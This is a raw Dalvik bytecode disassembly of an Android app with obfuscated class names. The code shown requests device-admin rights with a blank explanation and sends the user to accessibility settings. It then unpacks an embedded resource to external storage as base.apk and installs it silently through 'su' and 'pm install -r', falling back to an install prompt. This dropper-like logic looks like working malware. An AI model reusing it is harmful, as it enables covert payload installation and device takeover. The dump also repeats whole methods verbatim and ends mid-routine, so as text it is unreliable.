00086492invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
00086498move-result v3
0008649aif-ne v3, v2, :cond_6a
0008649eiget-object v3, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864a2new-instance v4, Lcmf0/c3b5bm90zq/patch/c;
000864a6iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864aainvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000864b0move-result-object v5
000864b2invoke-direct {v4, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
000864b8iput-object v4, v3, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
000864bciget-object v3, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864c0iget-object v3, v3, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
000864c4invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
000864camove-result v3
000864ccif-nez v3, :cond_6a
000864d0new-instance v3, Landroid/content/Intent;
000864d4const-string v4, "android.app.action.ADD_DEVICE_ADMIN"
000864d8invoke-direct {v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
000864deconst-string v4, "android.app.extra.DEVICE_ADMIN"
000864e2iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000864e6iget-object v5, v5, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
000864eainvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/c;->b()Landroid/content/ComponentName;
000864f0move-result-object v5
000864f2invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
000864f8const-string v4, "android.app.extra.ADD_EXPLANATION"
000864fcconst-string v5, ""
00086500invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
00086506iget-object v4, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008650aconst/16 v5, 0x64
0008650einvoke-virtual {v4, v3, v5}, Lcmf0/c3b5bm90zq/patch/C7;->startActivityForResult(Landroid/content/Intent;I)V
00086514const/4 v3, 0x1
00086516invoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
0008651cmove-result v4
0008651eif-ne v4, v2, :cond_89
00086522sget-boolean v4, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
00086526if-nez v4, :cond_89
0008652anew-instance v4, Landroid/content/Intent;
0008652einvoke-direct {v4}, Landroid/content/Intent;-><init>()V
00086534const/high16 v5, 0x10000000
00086538invoke-virtual {v4, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
0008653econst-string v5, "android.settings.ACCESSIBILITY_SETTINGS"
00086542invoke-virtual {v4, v5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
00086548iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008654cinvoke-virtual {v5, v4}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
00086552invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
00086558move-result v1
0008655aconst/4 v4, 0x0
0008655cif-ne v1, v2, :cond_9d
00086560iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086564iget-object v1, v1, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
00086568invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
0008656emove-result v1
00086570if-eqz v1, :cond_9b
00086574goto :goto_9d
00086576const/4 v1, 0x0
00086578goto :goto_9e
0008657aconst/4 v1, 0x1
0008657cinvoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
00086582move-result v5
00086584if-ne v5, v2, :cond_ab
00086588sget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
0008658cif-ne v5, v3, :cond_a9
00086590goto :goto_ab
00086592const/4 v5, 0x0
00086594goto :goto_ac
00086596const/4 v5, 0x1
00086598if-ne v1, v3, :cond_118
0008659cif-ne v5, v3, :cond_118
000865a0iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865a4invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000865aamove-result-object v1
000865acinvoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
000865b2move-result-object v1
000865b4const/high16 v5, 0x7f0c0000
000865b8invoke-virtual {v1, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000865bemove-result-object v1
000865c0const-string v5, ".."
000865c4invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000865camove-result v5
000865ccif-nez v5, :cond_f9
000865d0iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865d4invoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000865damove-result-object v5
000865dcinvoke-static {v5, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
000865e2move-result v5
000865e4if-ne v5, v3, :cond_da
000865e8iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865ecinvoke-static {v5, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Ljava/lang/String;)V
000865f2goto :goto_f9
000865f4iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
000865f8iget-object v5, v5, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
000865fciget-object v6, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086600invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086606move-result-object v6
00086608const-string v7, "root"
0008660cinvoke-virtual {v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
00086612move-result-object v5
00086614const-string v6, "1"
00086618if-ne v5, v6, :cond_f4
0008661ciget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086620invoke-static {v5, v3}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Z)V
00086626goto :goto_f9
00086628iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008662cinvoke-static {v5, v4}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Z)V
00086632invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
00086638move-result v0
0008663aif-ne v0, v2, :cond_118
0008663econst-string v0, ".."
00086642invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00086648move-result v0
0008664aif-nez v0, :cond_113
0008664eiget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086652invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086658move-result-object v0
0008665ainvoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
00086660move-result v0
00086662if-ne v0, v3, :cond_118
00086666iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
0008666ainvoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a()V
00086670iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
00086674invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;)Ljava/util/concurrent/locks/Lock;
0008667amove-result-object v0
0008667cinvoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
00086682return-void
00086430
00086684
00086684 struct try_item
00086684 start_addr uint32 0x86440
00086688 insn_count int 289
0008668a handler_off uint16 0x8668d
0008668c
0008668c struct encoded_catch_handler_list
0008668c size int 1
0008668d
0008668d struct encoded_catch_handler ← 0x8668a
0008668d size int64 1
0008668e handlers[0].type_idx int 0x5994
00086690 handlers[0].addr uint32 0x86682
00086692
00086692 // align 0x4
00086684 struct try_item
00086684 start_addr uint32 0x86440
00086688 insn_count int 289
0008668a handler_off uint16 0x8668d
0008668c
0008668c struct encoded_catch_handler_list
0008668c size int 1
0008668d
0008668d struct encoded_catch_handler ← 0x8668a
0008668d size int64 1
0008668e handlers[0].type_idx int 0x5994
00086690 handlers[0].addr uint32 0x86682
00086692
00086692 // align 0x4
00086694
00086694cmf0.c3b5bm90zq.patch.C7$2::<init>(cmf0.c3b5bm90zq.patch.C7, boolean):
000866a4iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
000866a8iput-boolean v2, v0, Lcmf0/c3b5bm90zq/patch/C7$2;->a:Z
000866acinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
000866b2return-void
00086694
00086694cmf0.c3b5bm90zq.patch.C7$2::<init>(cmf0.c3b5bm90zq.patch.C7, boolean):
000866a4iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
000866a8iput-boolean v2, v0, Lcmf0/c3b5bm90zq/patch/C7$2;->a:Z
000866acinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
000866b2return-void
00086694
000866b4
000866b4cmf0.c3b5bm90zq.patch.C7$2::run():
000866c4iget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
000866c8invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000866cemove-result-object v0
000866d0invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
000866d6move-result-object v0
000866d8const v1, 0x7f0c0026
000866deinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000866e4move-result-object v0
000866e6invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
000866ecmove-result-object v1
000866eeconst-string v2, "mounted"
000866f2invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000866f8move-result v1
000866faif-eqz v1, :cond_15a
000866fenew-instance v1, Ljava/lang/StringBuilder;
00086702invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00086708invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
0008670emove-result-object v2
00086710invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
00086716move-result-object v2
00086718invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008671econst-string v2, "/"
00086722invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086728invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
0008672emove-result-object v0
00086730invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086736invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008673cmove-result-object v0
0008673enew-instance v1, Ljava/io/File;
00086742invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
00086748invoke-virtual {v1}, Ljava/io/File;->exists()Z
0008674emove-result v2
00086750if-nez v2, :cond_4b
00086754invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
0008675anew-instance v1, Ljava/lang/StringBuilder;
0008675einvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00086764invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008676aconst-string v0, "/base.apk"
0008676einvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086774invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008677amove-result-object v0
0008677ciget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086780invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086786move-result-object v1
00086788invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
0008678emove-result-object v1
00086790const/high16 v2, 0x7f0b0000
00086794invoke-virtual {v1, v2}, Landroid/content/res/Resources;->openRawResource(I)Ljava/io/InputStream;
0008679amove-result-object v1
0008679cinvoke-virtual {v1}, Ljava/io/InputStream;->available()I
000867a2move-result v2
000867a4if-eqz v2, :cond_15a
000867a8int-to-long v2, v2
000867aaconst-wide/32 v4, 0xfa000
000867b0const-wide/16 v6, 0x400
000867b4cmp-long v8, v2, v4
000867b8if-ltz v8, :cond_80
000867bcconst-wide/32 v6, 0x19000
000867c2goto :goto_9c
000867c4const-wide/32 v4, 0x7d000
000867cacmp-long v8, v2, v4
000867ceif-ltz v8, :cond_8b
000867d2const-wide/32 v6, 0xc800
000867d8goto :goto_9c
000867daconst-wide/32 v4, 0x32000
000867e0cmp-long v8, v2, v4
000867e4if-ltz v8, :cond_95
000867e8const-wide/16 v6, 0x5000
000867ecgoto :goto_9c
000867eecmp-long v4, v2, v6
000867f2if-ltz v4, :cond_9a
000867f6goto :goto_9c
000867f8const-wide/16 v6, 0x200
000867fcinvoke-static {v6, v7}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
00086802move-result-object v2
00086804invoke-virtual {v2}, Ljava/lang/Long;->intValue()I
0008680amove-result v2
0008680cnew-instance v3, Ljava/io/FileOutputStream;
00086810new-instance v4, Ljava/io/File;
00086814invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
0008681ainvoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
00086820new-array v2, v2, [B
00086824array-length v4, v2
00086826const/4 v5, 0x0
00086828invoke-virtual {v1, v2, v5, v4}, Ljava/io/InputStream;->read([BII)I
0008682emove-result v4
00086830const/4 v6, -0x1
00086832if-eq v4, v6, :cond_bd
00086836invoke-virtual {v3, v2, v5, v4}, Ljava/io/OutputStream;->write([BII)V
0008683cgoto :goto_b0
0008683einvoke-virtual {v1}, Ljava/io/InputStream;->close()V
00086844invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
0008684aiget-boolean v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->a:Z
0008684econst/4 v2, 0x1
00086850if-ne v1, v2, :cond_12e
00086854invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
0008685amove-result-object v1
0008685cconst-string v3, "su"
00086860invoke-virtual {v1, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
00086866move-result-object v1
00086868invoke-virtual {v1}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
0008686emove-result-object v3
00086870new-instance v4, Ljava/lang/StringBuilder;
00086874invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
0008687aconst-string v5, "pm install -r "
0008687einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086884invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008688ainvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00086890move-result-object v0
00086892const-string v4, "ASCII"
00086896invoke-virtual {v0, v4}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
0008689cmove-result-object v0
0008689einvoke-virtual {v3, v0}, Ljava/io/OutputStream;->write([B)V
000868a4invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V
000868aainvoke-virtual {v3}, Ljava/io/OutputStream;->close()V
000868b0invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
000868b6invoke-virtual {v1}, Ljava/lang/Process;->exitValue()I
000868bcmove-result v0
000868beif-nez v0, :cond_15a
000868c2iget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
000868c6invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000868ccmove-result-object v0
000868ceinvoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
000868d4move-result-object v0
000868d6const/high16 v1, 0x7f0c0000
000868dainvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000868e0move-result-object v0
000868e2const-wide/16 v3, 0x3e8
000868e6invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
000868ecconst-string v1, ".."
000868f0invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000868f6move-result v1
000868f8if-nez v1, :cond_10f
000868fciget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086900invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086906move-result-object v1
00086908invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
0008690emove-result v1
00086910if-ne v1, v2, :cond_10f
00086914iget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086918invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Ljava/lang/String;)V
0008691egoto :goto_15a
00086920new-instance v1, Landroid/content/Intent;
00086924const-string v2, "android.intent.action.VIEW"
00086928invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
0008692econst v2, 0x10008000
00086934invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
0008693anew-instance v2, Ljava/lang/StringBuilder;
0008693einvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
00086944const-string v3, "file://"
00086948invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008694einvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086954invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008695amove-result-object v0
0008695cinvoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
00086962move-result-object v0
00086964const-string v2, "application/vnd.android.package-archive"
00086968invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
0008696eiget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086972invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C7;->startActivity(Landroid/content/Intent;)V
00086978return-void
000866b4
000866b4cmf0.c3b5bm90zq.patch.C7$2::run():
000866c4iget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
000866c8invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000866cemove-result-object v0
000866d0invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
000866d6move-result-object v0
000866d8const v1, 0x7f0c0026
000866deinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000866e4move-result-object v0
000866e6invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
000866ecmove-result-object v1
000866eeconst-string v2, "mounted"
000866f2invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000866f8move-result v1
000866faif-eqz v1, :cond_15a
000866fenew-instance v1, Ljava/lang/StringBuilder;
00086702invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00086708invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
0008670emove-result-object v2
00086710invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
00086716move-result-object v2
00086718invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008671econst-string v2, "/"
00086722invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086728invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
0008672emove-result-object v0
00086730invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086736invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008673cmove-result-object v0
0008673enew-instance v1, Ljava/io/File;
00086742invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
00086748invoke-virtual {v1}, Ljava/io/File;->exists()Z
0008674emove-result v2
00086750if-nez v2, :cond_4b
00086754invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
0008675anew-instance v1, Ljava/lang/StringBuilder;
0008675einvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00086764invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008676aconst-string v0, "/base.apk"
0008676einvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086774invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008677amove-result-object v0
0008677ciget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086780invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086786move-result-object v1
00086788invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
0008678emove-result-object v1
00086790const/high16 v2, 0x7f0b0000
00086794invoke-virtual {v1, v2}, Landroid/content/res/Resources;->openRawResource(I)Ljava/io/InputStream;
0008679amove-result-object v1
0008679cinvoke-virtual {v1}, Ljava/io/InputStream;->available()I
000867a2move-result v2
000867a4if-eqz v2, :cond_15a
000867a8int-to-long v2, v2
000867aaconst-wide/32 v4, 0xfa000
000867b0const-wide/16 v6, 0x400
000867b4cmp-long v8, v2, v4
000867b8if-ltz v8, :cond_80
000867bcconst-wide/32 v6, 0x19000
000867c2goto :goto_9c
000867c4const-wide/32 v4, 0x7d000
000867cacmp-long v8, v2, v4
000867ceif-ltz v8, :cond_8b
000867d2const-wide/32 v6, 0xc800
000867d8goto :goto_9c
000867daconst-wide/32 v4, 0x32000
000867e0cmp-long v8, v2, v4
000867e4if-ltz v8, :cond_95
000867e8const-wide/16 v6, 0x5000
000867ecgoto :goto_9c
000867eecmp-long v4, v2, v6
000867f2if-ltz v4, :cond_9a
000867f6goto :goto_9c
000867f8const-wide/16 v6, 0x200
000867fcinvoke-static {v6, v7}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
00086802move-result-object v2
00086804invoke-virtual {v2}, Ljava/lang/Long;->intValue()I
0008680amove-result v2
0008680cnew-instance v3, Ljava/io/FileOutputStream;
00086810new-instance v4, Ljava/io/File;
00086814invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
0008681ainvoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
00086820new-array v2, v2, [B
00086824array-length v4, v2
00086826const/4 v5, 0x0
00086828invoke-virtual {v1, v2, v5, v4}, Ljava/io/InputStream;->read([BII)I
0008682emove-result v4
00086830const/4 v6, -0x1
00086832if-eq v4, v6, :cond_bd
00086836invoke-virtual {v3, v2, v5, v4}, Ljava/io/OutputStream;->write([BII)V
0008683cgoto :goto_b0
0008683einvoke-virtual {v1}, Ljava/io/InputStream;->close()V
00086844invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
0008684aiget-boolean v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->a:Z
0008684econst/4 v2, 0x1
00086850if-ne v1, v2, :cond_12e
00086854invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
0008685amove-result-object v1
0008685cconst-string v3, "su"
00086860invoke-virtual {v1, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
00086866move-result-object v1
00086868invoke-virtual {v1}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
0008686emove-result-object v3
00086870new-instance v4, Ljava/lang/StringBuilder;
00086874invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
0008687aconst-string v5, "pm install -r "
0008687einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086884invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008688ainvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00086890move-result-object v0
00086892const-string v4, "ASCII"
00086896invoke-virtual {v0, v4}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
0008689cmove-result-object v0
0008689einvoke-virtual {v3, v0}, Ljava/io/OutputStream;->write([B)V
000868a4invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V
000868aainvoke-virtual {v3}, Ljava/io/OutputStream;->close()V
000868b0invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
000868b6invoke-virtual {v1}, Ljava/lang/Process;->exitValue()I
000868bcmove-result v0
000868beif-nez v0, :cond_15a
000868c2iget-object v0, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
000868c6invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
000868ccmove-result-object v0
000868ceinvoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
000868d4move-result-object v0
000868d6const/high16 v1, 0x7f0c0000
000868dainvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
000868e0move-result-object v0
000868e2const-wide/16 v3, 0x3e8
000868e6invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
000868ecconst-string v1, ".."
000868f0invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
000868f6move-result v1
000868f8if-nez v1, :cond_10f
000868fciget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086900invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
00086906move-result-object v1
00086908invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Landroid/content/Context;Ljava/lang/String;)Z
0008690emove-result v1
00086910if-ne v1, v2, :cond_10f
00086914iget-object v1, v9, Lcmf0/c3b5bm90zq/patch/C7$2;->b:Lcmf0/c3b5bm90zq/patch/C7;
00086918invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;Ljava/lang/String;)V
0008691egoto :goto_15a
00086920new-instance v1, Landroid/content/Intent;
00086924const-string v2, "android.intent.action.VIEW"
00086928invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
0008692econst v2, 0x10008000
00086934invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
0008693anew-instance v2, Ljava/lang/StringBuilder;
0008693einvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
00086944const-string v3, "file://"
00086948invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008694einvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086954invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008695amove-result-object v0
0008695cinvoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
00086962move-result-object v0
00086964const-string v2, "application/vnd.android.package-archive"
